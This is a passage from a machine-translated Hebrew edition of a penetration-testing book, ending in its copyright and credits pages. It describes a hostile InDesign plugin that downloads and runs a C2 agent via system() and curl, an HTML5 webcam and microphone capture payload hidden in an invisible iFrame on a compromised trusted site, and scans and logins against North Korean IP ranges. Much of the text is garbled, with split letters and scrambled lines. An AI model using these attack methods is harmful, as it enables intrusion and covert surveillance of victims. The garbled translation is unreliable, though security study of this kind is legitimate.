Adobe AIR
בדומה -JWS, Adobe AIRל מ שתמ שת ב ט כנו לוגיות קיימות כדי להפעי ל תו כן ש באופן
מ סורתי היה מ בוצע בתוך הדפדפן במ סגרת עצמאית .אפ לי קציות AIRהן פ ל טפורמות
וידידותיות לנייד .מנ קודת המ ב ט ש לנו ,בניגוד -Flashל שפוע ל בדפדפן אינ טרנ ט,
אפ לי קציות AIRפוע לות עם אותן מג ב לות א ב ט חה כמו אפ לי קציות מ קוריות ו כ כא להי ש
להן גי שה למער כת ק בצים ל לא ארגז חו ל .הםי כו לים להפעי ליי שומים ,לג שת לר שת ו כן
ה לאה) .פונ קציונ ליות זו מצ טמצמת באופן דרמ טי בפ ל טפורמות ניידות -במיו חד בSOi-
ש בהן ,כמו ב כ ל אייפון/אייפד ל לא כ לא ,ר ק מער כת ה ק בצים המ קומית נגי שה(.
יי שומי AIRנוצרים באותו אופן כמויי שומוני Flashבאמצעות אותן ט כנו לוגיות ש ל
Adobe.
מי לה ב5LMTH-
HTML5וה ט כנו לוגיות הנ לוות לו עדיין מתפת חות ונמצאות ונ כון לע כ שיו אינן מעניינות
במיו חד )מנ קודת המ ב ט ש ל דוגמנות APT).
ד בר א חד שמעניין וראוי למ ח קר נו סף הוא ש 5LMTH-מאפ שר כתי בת תו כן לדי ס ק,
אם כי למער כת ק בצים ויר טוא לית מ לאה בארגז חו ל .אני מז כיר את זה כאן אך ור ק
בג ל ל ש לד ברים כא להי ש דרך להיות בצורת אג ס מנ קודת מ ב ט בי ט חונית וזו ע שויה
להיות דרך מעניינת בעתיד לע קוף אזורי א ב ט חה .לעת עתה ,זהיותר עניין מ סוג "צפה
במר ח ב הזה".
ההת קפה
בתדריך הצהרתי שאני רוצה לת קוף בדרך כ ל שהי את התה לי כים ש בהם מ שתמ ש צוות
הערי כה .הפי לו סופיה מא חורי זה היא שראוי לך ל למוד את הדרך ש בה המ טרה ש לך
פוע לת כדי ליצור את ההת קפות המוצ ל חות והמדוי קות ביותר
Machine Translated by Google
למד את הדרך ש בה המ טרה ש לך פוע לת כדי ליצור את ההת קפות המוצ ל חות והמדוי קות
ביותר האפ שריות ,במ קום לה סתמך ע ל ניצו לים או הת קפות גנריות.
מת קפה זו מ כוונת א ל Adobe InDesign,פרי סת פר סום וערי כה מור כ בת .במ קום ל חפ ש
ג לי שות מאגר ש לא פור סמו או באגים א חרים ש ל ש חיתות זי כרון ,המ טרה היא ליצור תו סף
InDesignעוין ו להערים ע ל מ שתמ ש להת קין אותו.יצירת תו ספים ע בור InDesignי כו לה
להיות תה ליך מור כ ב ,א ב ל ה קוד הזה לא צריך להיות מ סו בך מדי מ כיוון שהמ טרה היא פ שו ט
ל ספ ק את סו כן C2ש לנו .בנו סף Adobe ,מ ספ קת ער כת פיתו ח תו כנה מ לאה (SDK).
היעדים מריצים את OS X,אז כדי ליצור תו סף אנ חנו צרי כים את הד ברים ה באים:
המ טרה אפוא היא להו סיף את ה קוד הדרו ש להורדה ויי שום ש ל סו כן C2ש לנו ו לה ב טי ח
ש קוד זהית בצע כא שר התו סף מופע ל.
הפ קודה ב + +C-ל ביצוע פ קודת מע טפת חיצונית היא system.
למען הפ ש טות המופ לגת ,מת בצעות שתי קריאות מער כת -א חת לא חזר את סו כן C2וא חת
ל ביצועו:
דוגמה זו נועדה לה בהיר .אני מצפה ממך להיות מ סוג ל לע שות מ שהו טו ביותר .אני מ שתמ ש
-curlב ו לא -wget,ב מ כיוון שהרא שון מות קן כ ברירת מ חד ל -OS X,ב
Machine Translated by Google
/
IPlugIn GetPlugIn() {
// End, [Link]
ֹתם .דוא" ל מע ק ב מהיר כמה ד קות לא חר מ כן ,שאומר " ס לי חה -לא ב ש בי לך!"י סייע או ָ
בתה ליך פי טורין נפ שי זה.
כמו בן ,בהת ח ש ב בעו בדה שה כוונה ש לנו היא ל שנות מ סמ כים לא חר תה ליך הערי כה
אך לפני ההדפ סה ,נו כ ל ל ל כת הר בהיותר ר חו ק מהדוגמה הפ שו טה הזו ש ל SDK.
במ קום לפרו ס את C2,נו כ ל לה שתמ ש -SDKב כדי למצוא ו ל שנות מ סמ כים .הוא מ כי ל
את כ ל הפונ קציונ ליות לאו טומ טיות ש ל כ ל סוג ש ל פונ קציונ ליות ש ל InDesign.
האפ ק טי ביות ש ל מת קפה כזו תהיה ת לויה בזמן ההו ב לה שי ש לתו קף.
סי כום
ה ל ק ח מת חי לת ה ספר הזה היה ש ט בעו ש ל האיום מ שתנה אך נ שאר זהה .כ כ ל
שה ט כנו לוגיות מתפוגגות ,צצות חד שות תופ סות את מ קומן ואין סי בה ל ח שו ב שהןיהיו
ב טו חותיותר מ קודמותיהן .הה בד ל בין הת קפה מוצ ל חת למ שימה כו ש לת הוא עד
כמה אתה מ בין את המ טרה ,התה לי כים ש לה וה ט כנו לוגיות ע ליהן היא נ שענת .ברגע
שתצ לי ח לע קו ב א חר זרימת הע בודה ש להם ,תו כ ל לג לות ו לנצ ל פגיעויות בתו כו.
תרגי לים
1.ח קור את האמצעים ה שונים לפרי סת תו כן ע שיר בדפדפן אינ טרנ ט ו כיצד ניתן
ל שנות את ה כ לים וה ט כנו לוגיות ה ל לו כדי ל ספ ק הת קפות )הן מ בו ס סות ע ל הנד סה
ט כנו לוגית והן ע ל הנד סה ח ברתית(.י ש הר בה ל ב חירה.
כדי להת חי ל ,הורד את ההדגמה ה חינמית ש ל Mulitmedia Fusion.שימו ל ב
באיזו מהירות ניתן ליצור תו כן מור כ ב באמצעות תו כנה זו ,כמו גם ב ס בי בות
המגוונות שא ליהן היאי כו לה לפרו ס.
2.ח קור פרו טו קו לי ר שת ה חיוניים לתפ קוד הפנימי ש ל ר שת כגון -OSPF.ו ICMP, RIP
ARP,כיצד ניתן לה שתמ ש בהם כדי ל שאת נתונים באופן סמוי? הת ח ל עם ARP,
המאפ שר ת ק שורת שידור.
Machine Translated by Google
זה שימו שי ,כפי שראינו בפר ק זה ,אך גםי כו ל ל שמ ש להע ברת נתונים בין שתי
כתו בות IPבר שת ל לא שימו ש ב שידור.
3.למד את הרעיון ש ל ב חירת מנהיג ו כיצד ניתן למנף אותה ביצירת ס בי בות C2
או טונומיות .זהי כו ל לע בור הר בה מע בר ל ש לי טתם ש ל סו כני C2פ שו טים בר שתיעד
א חת וניתן לה שתמ ש בו ביצירת ר שתות בו ט או טונומיות ר ח בות לאינ טרנ ט.
פר ק 9ח שיפה צפונית לאורך ספר זה ב חנו את ההי ב טים ה שונים המעור בים
במוד ל תר חי שי APTע לידי דיון בהת קפות נגד מ טרות חיות במגזרים שונים.
בפר ק הא חרון הזה ,אנ חנו הו ל כים לע שות מ שהו קצת שונה .במ קום ל שר ט ט
מת קפה ע ל מ טרה לגי טימית ,אנ חנו הו ל כים לה סת כ ל ע ל אי סוף מודיעין
היפות טי ע ל מדינת לאום .ב חרתי בצפון קוריאה כמ טרה מ כמה סי בות ,א ב ל
בעי קר שה סודיות האדירה שאופפת את אותה מדינה נזיר ,ט כנו לוגיות -ITה
ה שונות והצנזורה הר בה )א כן ח סרת ת קדים( איתה מתמודדים אזר חיה ע ל
ב סי סיומי הופ כים אותה למ ס קרנת .דוגמה ומאפ שרת לי להדגים כמה מידע
ניתן לה סי ק ממה שזמין לצי בור.
עם זאת ,זו לא ה סי בה הי חידה .ש לא כמו כ ל מדינת לאום א חרת ,ניתן לתאר את צפון
קוריאה ביתר ק לות במונ חים הדומים לתאגיד סגור הן במו בן הגיאופו לי טי והן מ ב חינה
ט כנו לוגית ו לא ר ק במדינה א חרת ) לפ חות מנ קודת מ ב ט מ קרו ס קופית( -כמו בן שזו לא
ח ברה שהייתי רוצה לה .לע בוד ע בור א ב ל ה סודיות היא חרדה ליועץ א ב ט חה טו ב ,ו ל כן
אי אפ שר ש לא לה סת קרן מפעו לותיו הפנימיות.
ע ל ר קע זה ,אניי כו ל להציג כמה גי שות א חרות ל בדי קות חדירה מת קדמות ש כדאי
לה כיר ,בין אם הן ט כני קות ש ל בית ספרי שן -מנו סו ו בדו קות -או רעיונות חד שיםיותר,
צציםיותר .ל כן ,ב חינת צפון קוריאה כמדינת לאום סגורה אך בה ק שר האנ לוגי ש ל מ ב חן
חדירה תאגידי מאפ שרת לנו להתיי ח ס לניתו ח כא ל תה ליך כו ל ל.
ס קירה כ ל לית
Machine Translated by Google
בעוד שהרפו ב לי קה העממית הדמו קר טית ש ל קוריאה ) (DPRKמ שתמ שת ב ט כנו לוגיות
מיו באות שונות ) קים ג'ונג-און הוא מעריץ גדו ל ש ל אפ ל( ,לאו כ לו סייה ה כ ל לית אין כ ל
כך מז ל .מע ט מאוד ח ברים ב ח ברה נהנים מגי שה ב לתי מוג ב לת לאינ טרנ ט )אם כי זה
מ שתנה עם הי בוא ש ל ט לפונים ניידים ב שו ק ה ש חור מ סין( .רו ב האנ שים שי ש להם
גי שה ל ט כנו לוגיית מ ח ש ב נא לצים לה שתמ ש במער כות הפע לה ומ כ שירים מאו שרים
ומוג ב לים לאינ טרנ ט נגי ש באופן חופ שי ב שם Kwangmyong ( ),שפירו שו " ק ל" או
" בהיר" באנג לית.
זהו גן מו קף חומה ונפרד ל ח לו טין מהאינ טרנ ט הצי בורי כפי שאנו מ כירים אותו .מיותר
לציין ש לא תמצאו כאן שום ד בר בי קורתי ע ל קים או ע ל מ ש טרו .אינ טראנ ט זה נגי ש
במ קומות שונים -אוני בר סי טאות ומו סדות תר בות -ו ל כאורה זמינה גם באמצעות
חי בור ב חיוג עם צפון קוריאה -DPRK .לי ש ה קצאה מ ש לה ש ל טוו ח 22 (1,024 /
מאר חים( ש ל כתו בות IPצי בוריות ,אם כי א לו ב קו שי מאו כ ל סות .למרות זאת ,הPI-
מו קצים באופן שמרני ביותר ; לדוגמה ,לאוני בר סי טת פיונגיאנג למדע ו ט כנו לוגיהי ש
כתו בת א חת ב ל בד.
אפ שר ל ס לו ח ל קוראים ע ל כך שהדמיון ש לו -OS Xל ש ל אפ ל ,ש למען ההגינות ,הו שג ממ שיפה.
אני ,למ ש ל ,מוצא את ה קוריאנית ש לי קצת ח לודה ,אז הצו הרא שון ש לנויהיה ל ק ב ל את הד בר
באנג לית כדי לא להתיי ח ס כ ל הזמן -Google Translate.ל ל שם כך ,רא שית ע לינו ל ק ב ל מע טפת,
כפי שמוצג באיורים 9.2ו -9.3.
Machine Translated by Google
. ק ב לת מע טפת9.2: איור
. פגז9.3: איור
Machine Translated by Google
כדי להעני ק לעצמך אי שורי שור ש ,הפע ל את הגדרת ה שור ש ש ל התו כנית ,כפי שמוצג באיור
9.6.
Machine Translated by Google
כעת ,נו כ ל להו סיף מאגר מ קומי ו להת קין את כ ל ה ח בי לות האופציונ ליות )אם נרצה
לע שות זאת(.
=XUNILESמתירני =# SELINUXTYPEי כו ל ל ק חת א חד מ שני הער כים ה באים # :ממו קד -ר ק דמוני
ר שת ממו קדים מוגנים.
Machine Translated by Google
י ש לו פו טנציא ל ל כ 000,1-כתו בות IP.מיותר לציין שאין קרו ב להר בה כא לה ב שימו ש.
באמצעות Masscan,נו כ ל להפעי ל סרי קתיציאה מהירה ומ לו כ ל כת תוך כ שעה שתיתן
לנו תמונת מצ ב בזמן ש ל מה שפוע ל:
ק ב לת סרי קות אמינות ש ל טוו ח זה היא כא ב בהת ח ש ב ב כך שאי כות ה קי שור -DPRKלהיא ה כ ל מ ל בד אמינה.
לדוגמה ,אנויודעים ש שרת האינ טרנ ט ש ל אוני בר סי טת קים אי ל סונג )[Link]/univ
([Link] ב -[Link],א ב ל זה לא מופיע ב סרי קה הזו למרות שהיה ער באותו זמן.
מ חו בר ל.[Link]-
תו ברי חה הוא '^]'.
RFB 003.008שרת MySQLב כתו בת [Link].
מ חו בר ל.[Link]-
תו ברי חה הוא '^]'.
אימות גי שת מ שתמ ש
שם מ שתמ ש:
מ ספר ט לפונים ס לו לריים מאפ שרים גם ק ב לת שי חות בינ לאומיות ,למרות זאת
זה מ שהו שצריך ל ב ק ש ע לידי המנוי וא סור לו
אנ שים פר טיים .ת שתית ה ס לו לר נ בנתה ומופע לת ע לידי ה
ה ח ברה המצרית אור ס קום בתור קוריו לינ ק; עם זאת ,דוו ח כי
ממ ש לת צפון קוריאה ד חתה את הר שות לאורא ס קום לה חזיר רוו חים
מהפרוי ק ט ו בנו במ בר 2015הם טענו שהפ סידו למע שה
ש לי טה בת שתית והם חיי בים מי ליוני דו לרים -סיפור אזהרה
ל כ ל מ ש קיעי ט כנו לוגיה מת חי לים ש חו ש בים להתר ח ב לממ ל כת הנזירים.
כרוך ב שימו ש בתו כנת מ ח ש ב כדי ל חייג או טומ טית ח ל קי ענ ק ש ל מ ספרים וה ק ל טת מה
שנמצא ב קצה ה שני ש ל ה קו ,בין אם זה קו לי ,דואר קו לי ,מ כ שיר פ ק ס ,מודם ,מר כזייה או
צ לי ל א חר .זה היה הפופו לרי ביותר בארצות ה ברית ,שם שי חות מ קומיות היו ב חינם.
ב ברי טניה ,חי לופי ה ט לפון ה חינמיים היו בדרך כ ל ל ממו קדים .התו כנה ש שימ שה בעי קר
כדי לה שיג זאת נ קראה )Tonelocראה איור ) 9.16והיא תייצר מפות מדהימות ש ל עד
10,000מ ספרים .זה עדיין עו בד ב סדר היום.
ה בעיה הי חידה היא שאנ חנו לאי כו לים להע ביר שי חות נתונים דרך VoIPבהת ח ש ב ב בעיות
עם ד חי סה ) בין היתר( ,אזי ש לג שת ל בעיה בצורה קצת א חרת .במ קום לה שתמ ש במודם
ו חי בורי ה ק ל טה ,התו כנה ש בה נ שתמ ש לו ק חת דגימת אודיו ש ל התגו בה ומ בצעת ע ליה
טרנ ספורמציה ש ל פורייה מהירה כדי שניתןיהיה לנת ח את ה טונים .כ ל צ לי לים הנופ לים
בתדר מ סוים אנו רו שמים כמודמים .תגו בות מודםי כי לו את
Machine Translated by Google
בתדירות מ סוימת אנו מת ח ברות כמודמים .תגו בות המודםי כ ל לו את -DTMFsהה טון
ה באים2250hz + 1625hz, 1850hz, 2000hz... :
לפוןן
יהטצפו
לוג ה
הואיאה(כנו
בר ב ט
שמדו קור
טענותצפון
שמי ש ל
הרה
למרות
DPRK.חצה
לאומי למ
בתוך
ההמנון ה
שאולשרשםל שימו ש
)Arirangע
כם הי חיד
ה-ח )(
ה
קוריאנית טהורה ,מדו בר -Uniscope U1201ב סינית מ חוד שת המריץ את גר סה 4.2.1
) בזמן כתי בת שורות א לו( ש ל מער כת ההפע לה אנדרואיד ש שונתה להיות מעי קה כמו
מער כת ההפע לה ה כו כ ב האדום .מיותר לציין שאין גי שה לאינ טרנ ט.
Machine Translated by Google
שגוי.בור
יד עבר,
הואסתמצו
זה ,מ
WiFi.יד.
מתאםאנדרוא
שאיןגםלומ כ שיר
שהוא
טוען
Samjiyon
( ),אך היצרן
חומה,
קפת ב שם
המושמי"
ינהט "ר
ירשתטאלגב ל
לג
גם כומלכ ש
3Gוי
יש
חומרת WiFiקיימת אך הו ש בתה ו כ ל מי שי ש לו קצתידע באנדרואידי כו ל להפעי ל אותה.
-Samjiyonההוא גם ,ע ל פי הת ק שורת המ קומית ,המצאה צפון קוריאנית ,ו בהת ח ש ב ב כמות
העצומה ש ל טא ב ל טים סיניים זו לים הזמינים ,זה הת ברר קצתיותר מ סו בך לאתר בדיו ק מה
ה חומרה .עם זאת ,ניתו ח ק טן ש ל ק בצי מער כת האנדרואיד ש ל המ כ שיר מ סגיר זאת ,כפי שמוצג
באיור 9.20.
זהו טא ב ל ט Yecon 75מתוצרת Alpsבהונג קונג ,מותאם אי שית ע בור הצר כן הצפון קוריאני.
Bangyong [Link]
Raeil [Link]
המצאה [Link]
מר כז מידע
-
יערות קוריאה [Link]
Rungna [Link]
Rungna Progam Center
כפי שאמרתי ,א שמ ח להי כנ ס לד בר הזה ו למפות אותו כמו שצריך .קיוויתי למצוא לפ חות ספ ק א חד
ב טוו ח ה ט לפונים הנגי שים כ לפי חוץ שיעורר גי שה כ ל שהי א ליו ,א ב ל זו הייתה מ שא לת ל ב .אין גי שה
לאינ טרנ ט זמינה מה קוואנגמיונג ,מה שיהפוך את אופיו למעורפ ל במ קצת.
י ש לציין ב ש ל ב זה שהעם הצפון קוריאני אינו טיפ ש ,ו למרות הזרם האינ סופי ש ל ש טויות תעמו לה
שהם נתונים להם ,ליותר ויותר מהםי ש גי שה לאינ טרנ ט דרך ט לפונים ב שו ק ה ש חור שמ קורם ב סין.
זהו חי בור ט כני ו לא פו לי טי ,א ב ל לא ס ביר שמ ש טר כזהי שרוד לאורך זמן ברגע שהגי שה לאינ טרנ ט
תהיה רוויהיותר ויותר.
ה סעיף הא חרון הזה אינו מעמי ק מ ספי ק כדי להיות מ סווג כפרי סת מ טען או ניהו ל C2
בפני עצמו ,א ב ל מ כיוון שדי ברנו קצת ע ל מ כ שירי אנדרואיד בפר ק זה ,רציתי ל כ לו ל
אותו .כ שדר להת קפה ,הוא בת חי לתו ור קיהפוך לר לוונ טייותר .בהנ חה ש סו כן C2
נפר ס בהצ ל חה לנ קודת קצהיעד ,ל כידת אודיו ווידאו היא טריוויא לית וניתן לה שיגה
באמצעות מ ספר ממ ש קי APIמ קוריים או ש ל צד ש לי שי .עם זאת ,כא שר תו קפים
מ כ שירים ניידים או טא ב ל טים ,זהי כו ל להיות בעייתייותר .בה ח ל ט ניתן ליצור אפ לי קציות
ש כא שר הן מות קנות ומ ק ב לות הר שאות מ סוימות ,ניתן להפעי ל אותן מר חו ק באמצעות
הודעות ד חיפה ו להפעי ל את המי קרופון והמצ למה ו להזרים את התו כן ש להן.
עם זאת ,בין אם הם מפת חים ע בור iOSאו אנדרואיד ,אפ לי קציות צרי כות לע בור תה ליך
בדי קה לפני שהן מותרות -App Storeבאו -Google Play,ב ו ס ביר להני ח שה שימו ש
ב sIPA-מ סוימים באפ לי קציות ש ברור שאינן ז קו קות להםייד חה במה לך תה ליך זה. .
לדוגמה ,בתוך מער כת ההפע לה iOSי ש APIב שם PushKitשמ כי ל שתי צורות ש ל
התראות כא לה -א חת ס טנדר טית וא חת ליי שומי VoIP.זה הא חרון נ חוץ כדי לאפ שר
מר חו ק את הגדרת ה שי חה ל לא צורך ל שמור ע ל חי בור ק בוע ל שרת -VoIP,ה שירו קן
את ה סו ל לה במהירות-API .הה ספציפי הזהיהיה מו ש לם ע בור הצר כים ש לנו ,א ב ל
ה שימו ש בפונ קציונ ליות ש לו באפ לי קציה ש כמו בן לא מיועדת -VoIPל בה ח ל טייד חה
במה לך תה ליך ה בדי קה.
עם זאת ,עם HTML5,י ש לנו גי שה למ ספר קריאות APIמעניינות שניתן לה שתמ ש
בהן כדי לג שת גם למי קרופון וגם למצ למה .היתרונות ש ל גי שה זו הם שניתן פ שו ט
לה כני ס את קוד התו כנה הזדונית לדף אינ טרנ ט והוא חוצה פ ל טפורמות .ההת קפה
תע בוד גם ב ט לפון אנדרואיד כמו בדפדפן פיירפו ק ס הפוע ל -Windows.בה חי סרון הוא
שמ כיוון ש 5LMTH-הוא עדיין ת קן מתפת ח ,לא כ ל קריאות -APIהנתמ כות ב כ ל
הדפדפנים .זה כמו בןי שתפר ו 5LMTH-כנראהי ספ ק דר כים מעניינות להת קפה בעתיד.
{ )if ([Link]
Machine Translated by Google
}
קוד זה הוא רמז והמ ח שה וידרו ש מ ח ש בה מו קדמת מצידך כיצד ל ש ל ב זאת בפתרון
C2ש לך.
רו ב הדפדפנים ה קוראים לgetUserMedia API -יפעי לו אזהרה למ שתמ ש.
עם זאת ,אם תע ביר את דף האינ טרנ ט באמצעות SSL,זהי קרה ר ק פעם א חת ו בעתיד
תינתן הר שאה.י ש מע ט קוהרנ טיות וה ס כמה לג בי הא ב ט חה בת קן HTML5כפי שהוא
כעת.
ה חו כמה היא כמו בן לגרום למ שתמ ש ל ב קר בדף האינ טרנ ט ש לך ,מה שמ חזיר אותנו
לת חום ההנד סה ה ח ברתית.י ש שני כיווני ת קיפה .גי שה א חת )וזו העדיפה( היא הת קפת
בור מים .כ לומר ,אנו מ טמיעים את ה קוד הזדוני ש לנו -iFrameב ב לתי נראה ש ל אתר
שפגענו בו בע בר ו שהוא מהימן ע לידי היעד .היתרונות ש ל גי שה זו הם כפו לים .הרא שון
הוא אמון:י ש סי כוי ג בוהיותר שהמ טרה ת ק ב ל הודעות ה ק שורות לא ב ט חה .ה שני הוא
התמדה :ההת קפה הזו פוע לת ר ק כ ל עוד הדפדפן לא סגור .ס ביר להני ח שאתר מהימן
יי שאר פתו ח גם אם הוא בר קע והמ טרה כ בר לא מעור בת בו באופן פעי ל.
שימו ל ב שהתג ה ב לתי ח ל ק הוא עוד מוזרות HTML5.אני מ שתמ ש בו כאן כי הוא
נתמך ת חת Chrome/Android.
גי שה א חרת היא כמע ט הפוך מזה .אתה רו שם שם דומיין שדומה למ טרה ,טוען את
האתר המ קורי ויוצר iFrameלצד ה קוד העוין.
י שנן דר כים א חרות לתפו ס אודיו/וידאו מהמ טרהAdobe Flash .היא אפ שרות כזו,
א ב ל זו ט כנו לוגיה שהו ל כת בדר כו ש ל הדודו ,אז לא הייתי ממ ליץ ע ליה.
Machine Translated by Google
סי כום
י ש כאן אירוניה מרה מ סוימת; מער כות ההפע לה ה שונות ש ל לינו ק ס נועדו ל קדם
פתי חות ו שיתוף פעו לה בפיתו ח תו כנה .לראות את לינו ק ס הופ כת ל כ לי ש ל ב קרת
מדינה זה די לא נעים.
הפר ק הא חרון הזה נועד להיות מ שהו קצת שונה מהפורמ ט ש בו ה שתמ שתי ב כ ל
ה ספר הזה ,לא ר ק בג ל ל שרציתי להמ חי ש כמה ט כני קות אי סוף מודיעין ב קוד פתו ח,
א לא גם בג ל ל שרציתי ל סיים בנימה א חרת ,ב קצ ב שונה.י שנן מ ספר מ ס קנות שאתה
י כו ל ל ק חת מהפר ק הזה ,או לי ה ברורה ביותר היא שאם אתה קורא את זה ,ס ביר להני ח
שאתה אדם חופ שי ש חי ב ח ברה חופ שית ו ס ביר להני ח שאתה לו ק ח את זה כמו בן
מא ליו .אםי ש ל ק ח א חד שאפ שר ל למוד מה ספר הזה ב כ ל לותו ,זה שה ט כנו לוגיה היא
חר ב פיפיות עם ה ש ל כות שונות מאוד ע ל ה ח ברה ,ת לוי מי או חז בה.
תרגי לים
1.הורד את Red Star Linux Desktopו ש ח ק איתו .אי לו עוד מ ס קנות או תצפיות
אתהי כו ל לה סי ק לג בי ההג ב לות והני טור שהוא מ טי ל ע ל המ שתמ שים? צפון קוריאה
ר חו קה מ להיות המדינה הי חידה שפית חה מער כת הפע לה מעי קה כדי ל ש לו ט
באזר חיה .דוגמה נו ספת היא נו בה ,ב ח סות ממ ש לת קו בה ,א ב לי ש א חרות .ה שתמ ש
במה ש למדת בפר ק זה ,ר כו ש א חד והפרד אותו.
2.בצע ת קיפה שתופ ס אודיו ו/או וידאו ממ כ שיר ל קו ח נייד ,טא ב ל ט או שו ל חן ע בודה.
ק חו ב ח ש בון ט כנו לוגיות שנגענו בהן בע בר ,כמו Adobe AIRאו Java JWS.ש קו ל כיצד
י ש להזרים נתונים ב חזרה ל שרת C2ש לך .אם אודיו מייר ט ב טוו ח הארוך ,אי לו ט כני קות
או טומ טיות ניתן ליי שם ע ל הנתונים כדי להפוך את הניתו ח ה ח כם לאו טומ טייותר?
3.ר שימה מ לאה ש ל דפדפנים ניידים שתומ כים באי לו פונ קציות HTML5ניתן למצוא
ב כתו בת [Link] ר שימה זו ,ש קו ל אמצעים א חרים
להת קפה פו טנציא לית נגד מ כ שירים ניידים ,בין אם זה פ שרה מר חו ק ,אי סוף מודיעין
או הת קפות מניעת שירות.
Machine Translated by Google
& Sons, Inc. פריצה לר שתות המאו ב ט חות ביותר בעו לם פור סם ע לידי:בדי קת חדירה מת קדמת
John Wiley
פור סם במ ק בי ל ב קנדה
ISBN: 978-1-119-36768-0
)ISBN: 978-1-119-36771-0 (ebk
)ISBN: 978-1-119-36766-6 (ebk
אין ל ש כפ ל ,לא ח סן במער כת א חזור שום ח ל ק מפר סום זה או ל שדר ב כ ל צורה או אמצעי ,א ל ק טרוני ,מ כני ,צי לום,
ה ק ל טה ,סרי קה או א חר ,למע ט כפי שמותר לפי סעיפים 107או 108ש ל ז כויות היוצרים ש ל ארצות ה ברית מ שנת
1976לפעו ל ,ל לא אי שור מרא ש ו ב כת ב ש ל המפר סם ,או אי שור באמצעות ת ש לום האגרה המתאימה ל כ ל עות ק
למר כז אי שור ז כויות היוצרים 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, ,פ ק ס - 8600.
(978) 646ב ק שות למפר סם ל ק ב לת ר שותי ש להפנות למ ח ל קת ההר שאותNJ 07030, (201) 748-6011, ,
John Wiley & Sons, Inc., 111 River Street, Hoboken,פ ק ס (201) 748-6008,או מ קוון ב כתו בת permissions.
[Link]
הג ב לת א חריות/ה סתייגות מא חריות :המוציא לאור והמ ח בר אינם מציגים מצגים או הת חיי בויות בי ח ס לדיו ק או ש למות
התו כן ש ל ע בודה זו ומתנערים במפור ש מ כ ל הא חריות ,לר בות ל לא הג ב לה א חריות לג בי התאמה למ טרה מ סוימת.
אין ליצור או להר חי ב א חריות ע לידי מ כירות או חומרי קידום מ כירות.יית כן שהעצות והא ס טר טגיות המופיעות כאן
לאיתאימו ל כ ל מצ ב .ע בודה זו נמ כרת מתוך ה בנה שהמוציא לאור אינו עו ס ק במתן שירותים מ שפ טיים ,ח ש בונאיים
או מ קצועיים א חרים .אם נדר ש סיוע מ קצועי,י ש לפנות ל שירותיו ש ל אי ש מ קצוע מו כ שר .לא המוציא לאור ו לא
המ ח בריהיו א חראים לנז קים הנו בעים מ כך .העו בדה שארגון או אתר אינ טרנ ט מ כונה בע בודה זו צי טו ט ו/או מ קור
פו טנציא לי למידע נו סף ,אין פירו שו שה כות ב או המפר סם מא שרים את המידע שהארגון או האתר ע שויים ל ספ ק או
המ לצות שהוא ע שוי להציע.יתרה מ כך ,ע ל ה קוראים להיות מודעים ל כך שאתרי אינ טרנ ט המופיעים ביצירה זו ע שויים
לה שתנות או נע למו בין מועד כתי בתיצירה זו ל בין מועד קריאתה.
למידע כ ל לי ע ל המוצרים וה שירותים הא חרים ש לנו ,אנא צור ק שר עם מ ח ל קת שירות ה ל קו חות ש לנו בתוך ארצות
ה ברית ב ט לפון (877) 762-2974,מ חוץ לארה" ב ב ט לפון (317) 572-3993או בפ ק ס (317) 572-4002.
ווי לי מפר סמת במגוון פורמ טים מודפ סים וא ל ק טרוניים ו לפי הדפ סה לפי דרי שה.יית כן ש ח ל ק מה חומרים הנ כ ל לים
בגר סאות המודפ סות ה ס טנדר טיות ש ל ספר זה לאיי כ ל ל ב ספרים א ל ק טרוניים או בהדפ סה לפי דרי שה .אם ספר זה
מתיי ח ס למדיה כגון CDאו DVDשאינה כ לו לה בגר סה שר כ שת ,תו כ ל להוריד חומר זה ב כתו בת
[Link] נו סף ע ל מוצרי Wiley,ב קר ב כתו בת [Link].
מ ספר ב קרת ספריית ה קונגר ס 2017931255 :סימנים מ ס חריים Wiley :וה לוגו ש ל Wileyהם סימנים מ ס חריים או
סימנים מ ס חריים ר שומים ש ל John Wiley & Sons, Inc.ו/או ה ח ברות ה ק שורות לה ,בארצות ה ברית ו במדינות
א חרות ,ואין לה שתמ ש בהם ל לא אי שור ב כת ב .כ ל שאר ה סימנים המ ס חריים הם ר כו שם ש ל בע ליהם בהתאמהInc. .
John Wiley & Sons,אינה ק שורה למוצר או ל ספ ק כ ל שהו המוז כרים ב ספר זה.
Machine Translated by Google
ע ל ה סופר
וי ל א ל סופ תמיד אה ב לפר ק ד ברים .לפעמים הוא הצ לי ח ל ח בר אותם שו ב .הוא נדד
ל בדי קות חדירה כמו ש ח ל ק מהאנ שים מ שו ט טים ל ברים )עוד פעי לות ש קרו בה ל ל בו(.
מפג ש מ קרי עם אדם בע ל דעות דומות ב Stadscafe Zaltbommel t'-ב 9991-הו בי ל
ל כך שהוא התפ טר מ חוזה פיתו ח התו כנה ש לו ב MBI-וה קים את ה ח ברה הרא שונה
ש לו ,ב שם Tigerteam Security NV,שמ סי בות שא בדו בזמן התאגדה ב קור סאו .לפ חות
כ כה הוא זו כר את זה.
"אנ חנו עו בדים ב חו שך -אנ חנו עו שים מה שאנ חנוי כו לים -אנ חנו נותנים את מה שי ש לנו.
ה ספ ק ש לנו הוא הת שו קה ש לנו ,והת שו קה ש לנו היא המ שימה ש לנו .ה שאר זה ה טירוף
ש ל האמנות".
-הנרי ג'יימ ס
Machine Translated by Google
ע ל העורך ה ט כני
א ליא ס ב כא לני הוא מת כנת מ ח ש בים ומהנד ס לא חור בתו כנה כ בריותר מ 41-שנים.
א ליא ס הוא גם מ ח ברם המ שותף ש ל שני ספרים שיצאו לאור ע לידי Engineering
Wiley, Practical Reverseו The Antivirus Hacker's Handbook, -והמ ח בר ש ל
Batchography: The Art of Batch Files Programming.הוא ע בד עם ט כנו לוגיות
ו שפות ת כנות שונות כמו ת כנות אינ טרנ ט ,ת כנות מ סדי נתונים ות כנות מנה לי הת קנים
ש ל )Windowsמ טעני את חו ל ומער כות הפע לה מינימ ליות( ,ו כת ב TEN.ו קוד מנוה ל,
כת ב ס קריפ טים ,העריך הגנות תו כנה ו כת ב הנד סה לא חור כ לי א ב ט חה שו ל חניים.
Machine Translated by Google
נ קודות ז כות
עורך פרוי ק טים
אדאו בי או בי טו ל טון
עורך ט כני
א ליא ס ב כא לני
עורך הפ קה
מנה לייצור
קת לין וי סור
מנה ל שיוו ק
קארי שרי ל
מנה ל ע ס קים
איימי קני ס
עורך רא שי
ג'ים מינא ט ל
ברנ ט סא באג'
מַ ִגיהַ
ננ סי ב ל
פת חָן
מַ ְ
Machine Translated by Google
